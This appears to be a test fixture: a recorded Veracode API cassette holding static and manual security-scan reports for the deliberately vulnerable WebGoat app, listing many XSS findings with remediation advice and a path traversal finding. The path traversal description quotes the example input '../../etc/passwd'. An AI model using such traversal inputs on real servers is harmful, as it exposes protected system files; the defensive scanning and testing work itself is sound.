+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:09:00 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:09:01 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:09:02 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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